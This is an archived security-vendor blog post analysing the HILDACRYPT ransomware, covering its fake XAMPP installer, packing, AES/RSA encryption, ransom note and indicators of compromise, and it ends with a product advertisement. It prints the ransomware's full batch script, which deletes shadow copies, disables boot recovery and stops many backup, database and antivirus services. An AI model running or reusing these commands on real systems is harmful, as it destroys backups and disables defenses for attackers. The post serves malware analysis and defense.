HILDACRYPT: A Ransomware Newcomer Hits Backup and Anti-virus Solutions

By MSPThreatsSecurityTeam

Published: 2019-10-18 · Archived: 2026-04-06 00:36:11 UTC

HILDACRYPT ransom note

A new ransomware family was discovered in August 2019. Called HILDACRYPT, it is named after the Netflix cartoon “Hilda” because the TV show’s YouTube trailer was included in the ransom note of the original version of the malware.

HILDACRYPT camouflages itself as a legitimate XAMPP installer, which is an easy to install Apache distribution containing MariaDB, PHP, and Perl. However, the cryptolocker’s file name ‘xamp’ differs from the legitimate version. Moreover, the ransomware file does not have a digital signature.

Static analysis

The ransomware file is PE32 .NET Assembly for MS Windows. It is 135168 bytes in size. Both the payload code and the protector’s code are written in C#. According to the compilation timestamp, the binary was compiled on September 14, 2019.

While Detect It Easy claims the ransomware was packed with Confuser and ConfuserEx, these obfuscators are the same. ConfuserEx is simply the successor of Confuser, so their code signatures are extremely similar.

Detect It Easy analysis

To be entirely accurate, however, HILDACRYPT is packed with ConfuserEx.

HILDACRYPT is packed with ConfuserEx

SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Attack vector

Most likely, the ransomware was found on one of the web programming sites pretending to be the legitimate version of XAMPP software.

The whole infection chain can be seen at app.any.run sandbox.

Obfuscation

The ransomware’s strings are encrypted when stored. Once launched, HILDACRYPT decodes them with Base64 and AES-256-CBC.

HILDACRYPT decodes ransomware strings with Base64 and AES-256-CBC

Installation

First, the ransomware creates a folder in %AppData\Roaming% with a randomly generated GUID (Globally Unique Identifier). After adding the 'bat' file to this location, the ransomware then runs it with cmd.exe:

cmd.exe /c \ JKfgkgj3hjgfhjka.bat \ & exit

HILDACRYPT installation process

It then starts the batch script to disable system functions or services.

HILDACRYPT disabling system functions and services

The script contains a long list of commands that deletes shadow copies, disables any SQL server, as well as backup and anti-malware solutions.

In addition to attacking popular backup and anti-malware solutions from Veeam, Sophos, Kaspersky, McAfee, and others, for example, it also tries (unsuccessfully) to stop the Acronis Cyber Backup services.

@echo off :: Not really a fan of ponies, cartoon girls are better, don't you think? *vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures vssadmin Delete Shadows /all /quiet net stop SQLAgent$SYSTEM_BGC /y net stop "Sophos Device Control Service" /y net stop macmnsvc /y net stop SQLAgent$ECWDB2 /y net stop "Zoolz 2 Service" /y net stop McTaskManager /y net stop "Sophos AutoUpdate Service" /y net stop "Sophos System Protection Service" /y net stop EraserSvc11710 /y net stop PDVFSService /y net stop SQLAgent$PROFXENGAGEMENT /y net stop SAVService /y net stop MSSQLFDLauncher$TPSAMA /y net stop EPSecurityService /y net stop SQLAgent$SOPHOS /y net stop "Symantec System Recovery" /y net stop Antivirus /y net stop SstpSvc /y net stop MSOLAP$SQL_2008 /y net stop TrueKeyServiceHelper /y net stop sacsvr /y net stop VeeamNFSSvc /y net stop FA_Scheduler /y net stop SAVAdminService /y net stop EPUpdateService /y net stop VeeamTransportSvc /y net stop "Sophos Health Service" /y net stop bedbg /y net stop MSSQLSERVER /y net stop KAVFS /y net stop Smcinst /y net stop MSSQLServerADHelper100 /y net stop TmCCSF /y net stop wbengine /y net stop SQLWriter /y net stop MSSQLFDLauncher$TPS /y net stop SmcService /y net stop ReportServer$TPSAMA /y net stop swi_update /y net stop AcrSch2Svc /y net stop MSSQL$SYSTEM_BGC /y net stop VeeamBrokerSvc /y net stop MSSQLFDLauncher$PROFXENGAGEMENT /y net stop VeeamDeploymentService /y net stop SQLAgent$TPS /y net stop DCAgent /y net stop "Sophos Message Router" /y net stop MSSQLFDLauncher$SBSMONITORING /y net stop wbengine /y net stop MySQL80 /y net stop MSOLAP$SYSTEM_BGC /y net stop ReportServer$TPS /y net stop MSSQL$ECWDB2 /y net stop SntpService /y net stop SQLSERVERAGENT /y net stop BackupExecManagementService /y net stop SMTPSvc /y net stop mfefire /y net stop BackupExecRPCService /y net stop MSSQL$VEEAMSQL2008R2 /y net stop klnagent /y net stop MSExchangeSA /y net stop MSSQLServerADHelper /y net stop SQLTELEMETRY /y net stop "Sophos Clean Service" /y net stop swi_update_64 /y net stop "Sophos Web Control Service" /y net stop EhttpSrv /y net stop POP3Svc /y net stop MSOLAP$TPSAMA /y net stop McAfeeEngineService /y net stop "Veeam Backup Catalog Data Service" / net stop MSSQL$SBSMONITORING /y net stop ReportServer$SYSTEM_BGC /y net stop AcronisAgent /y net stop KAVFSGT /y net stop BackupExecDeviceMediaService /y net stop MySQL57 /y net stop McAfeeFrameworkMcAfeeFramework /y*

net stop TrueKey /y net stop VeeamMountSvc /y net stop MsDtsServer110 /y net stop SQLAgent$BKUPEXEC /y net stop UI0Detect /y net stop ReportServer /y net stop SQLTELEMETRY$ECWDB2 /y net stop MSSQLFDLauncher$SYSTEM_BGC /y net stop MSSQL$BKUPEXEC /y net stop SQLAgent$PRACTTICEBGC /y net stop MSExchangeSRS /y net stop SQLAgent$VEEAMSQL2008R2 /y net stop McShield /y net stop SepMasterService /y net stop "Sophos MCS Client" /y net stop VeeamCatalogSvc /y net stop SQLAgent$SHAREPOINT /y net stop NetMsmqActivator /y net stop kavfsslp /y net stop tmlisten /y net stop ShMonitor /y net stop MsDtsServer /y net stop SQLAgent$SQL_2008 /y net stop SDRSVC /y net stop IISAdmin /y net stop SQLAgent$PRACTTICEMGT /y net stop BackupExecJobEngine /y net stop SQLAgent$VEEAMSQL2008R2 /y net stop BackupExecAgentBrowser /y net stop VeeamHvIntegrationSvc /y net stop masvc /y net stop W3Svc /y net stop "SQLsafe Backup Service" /y net stop SQLAgent$CXDB /y net stop SQLBrowser /y net stop MSSQLFDLauncher$SQL_2008 /y net stop VeeamBackupSvc /y net stop "Sophos Safestore Service" /y net stop svcGenericHost /y net stop ntrtscan /y net stop SQLAgent$VEEAMSQL2012 /y net stop MSExchangeMGMT /y net stop SamSs /y net stop MSExchangeES /y net stop MBAMService /y net stop EsgShKernel /y net stop ESHASRV /y net stop MSSQL$TPSAMA /y net stop SQLAgent$CITRIX_METAFRAME /y net stop VeeamCloudSvc /y net stop "Sophos File Scanner Service" /y net stop "Sophos Agent" /y net stop MBEndpointAgent /y net stop swi_service /y net stop MSSQL$PRACTICEMGT /y net stop SQLAgent$TPSAMA /y net stop McAfeeFramework /y net stop "Enterprise Client Service" /y net stop SQLAgent$SBSMONITORING /y net stop MSSQL$VEEAMSQL2012 /y net stop swi_filter /y net stop SQLSafeOLRService /y net stop BackupExecVSSProvider /y net stop VeeamEnterpriseManagerSvc /y net stop SQLAgent$SQLEXPRESS /y net stop OracleClientCache80 /y net stop MSSQL$PROFXENGAGEMENT /y net stop IMAP4Svc /y net stop ARSM /y net stop MSExchangeIS /y net stop AVP /y net stop MSSQLFDLauncher /y net stop MSExchangeMTA /y net stop TrueKeyScheduler /y net stop MSSQL$SOPHOS /y net stop "SQL Backups" /y net stop MSSQL$TPS /y net stop mfemms /y net stop MsDtsServer100 /y net stop MSSQL$SHAREPOINT /y net stop WRSVC /y net stop mfevtp /y net stop msftesql$PROD /y net stop mozyprobackup /y net stop MSSQL$SQL_2008 /y net stop SNAC /y net stop ReportServer$SQL_2008 /y net stop BackupExecAgentAccelerator /y net stop MSSQL$SQLEXPRESS /y net stop MSSQL$PRACTTICEBGC /y net stop VeeamRESTSvc /y net stop sophossps /y net stop ekrn /y net stop MMS /y net stop "Sophos MCS Agent" /y net stop RESvc /y net stop "Acronis VSS Provider" /y net stop MSSQL$VEEAMSQL2008R2 /y net stop MSSQLFDLauncher$SHAREPOINT /y net stop "SQLsafe Filter Service" /y net stop MSSQL$PROD /y net stop SQLAgent$PROD /y net stop MSOLAP$TPS /y net stop VeeamDeploySvc /y net stop MSSQLServerOLAPService /y del %0

After disabling the mentioned above services and processes, the cryptolocker collects information about all running processes using the *tasklist* command to make sure that all the needed services were disabled.

tasklist v /fo csv

This command displays a detailed list of running processes separated with ',’.

"\"csrss.exe\",\"448\",\"services\",\"0\",\"1 896 ††\",\"unknown\",\"†/†\",\"0:00:03\",\"†/†\""

HILDACRYPT displaying running processes

After this check, the ransomware starts the encryption process.

Encryption

File encryption

HILDACRYPT goes through all of the content of found drives, skipping the 'Recycle.Bin' and 'Reference Assemblies\\Microsoft' folders. (The second folder is skipped because it contains the vital files such as dll, pdb, etc. for

.Net applications that may affect the ransomware.)

The following list of file extensions is used by the ransomware to find the files to be encrypted:

".vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:

.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:

.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:

.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:

.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:

.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:

.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:

.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:

.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:

.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:

.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:

.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:

.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:

.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:

.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md"

To encrypt the user's files, the ransomware uses AES-256-CBC crypto algorithm. The key size is 256 bits and IV is 16 bytes.

HILDACRYPT encrypts user files with AES-256-CBC

Byte_2 and *byte_1* were generated randomly on the next screen via GetBytes().

Generating random byte keys with GetBytes()

Encryption key and IV generation

Encrypted files get an 'HCY!' extension. This is an example of an encrypted file. The Key and IV mentioned above were created for this file.

HILDACRYPT applying HCY! extension

Keys encryption

The cryptolocker stores the generated AES key in the encrypted file. The first part of the encrypted file has a header containing the data such as 'HILDACRYPT', 'KEY', 'IV', 'FileLen' in an XML format and looks as follows:

HILDACRYPT key encryption

The AES Key and IV are encrypted with RSA-2048 and encoded with Base64. The RSA public key is stored in one of the encrypted strings in an XML format in cryptolocker's body.

<RSAKeyValue><Modulus>28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/

cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/

JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/

74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/

UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==

</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

The RSA public key is used for AES file key encryption. The public RSA key is Base64 encoded and consists of modulus and public exponent 65537. For decryption, the private RSA key is needed, and that is owned by the attacker.

After RSA encryption, the AES key is encoded with Base64 stored in the encrypted file.

Ransom notes

When encryption is completed, HILDACRYPT drops an 'html' file to the folders where it encrypted files. The ransomware note contains two email addresses by which a victim should contact the attacker.

- hildalolilovesyou @ airmail . cc
- hildalolilovesyou @ memeware . net

HILDACRYPT ransom note

The ransom note also has the message 'No loli is safe ;)' that refers to anime and manga characters that have the physiques of a prepubescent girl.

Conclusion

HILDACRYPT being a new ransomware family, there is an even newer version of it. The encryption model does not allow victims to decrypt files encrypted by the ransomware. The cryptolocker employs active protection techniques to shut down protection services that belong to backup solutions and anti-viruses. The author of HILDACRYPT is clearly a fan of anime and the "Hilda" TV series on Netflix.

As usual, the good news is that Acronis Cyber Backup and Acronis True Image can protect your computer against HILDACRYPT ransomware – and service providers can similarly protect their customers with Acronis Backup Cloud. That's because not only do these cyber protection solutions offer backup, but they also include our integrated Acronis Active Protection, an AI-enabled and behavior-based technology that is uniquely able to deal with zero-day ransomware threats.

IoCs

'HCY!' file extension

HILDACRYPTReadMe.html

‘xamp.exe’ with one ‘p’ symbol and without a digital signature

SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

---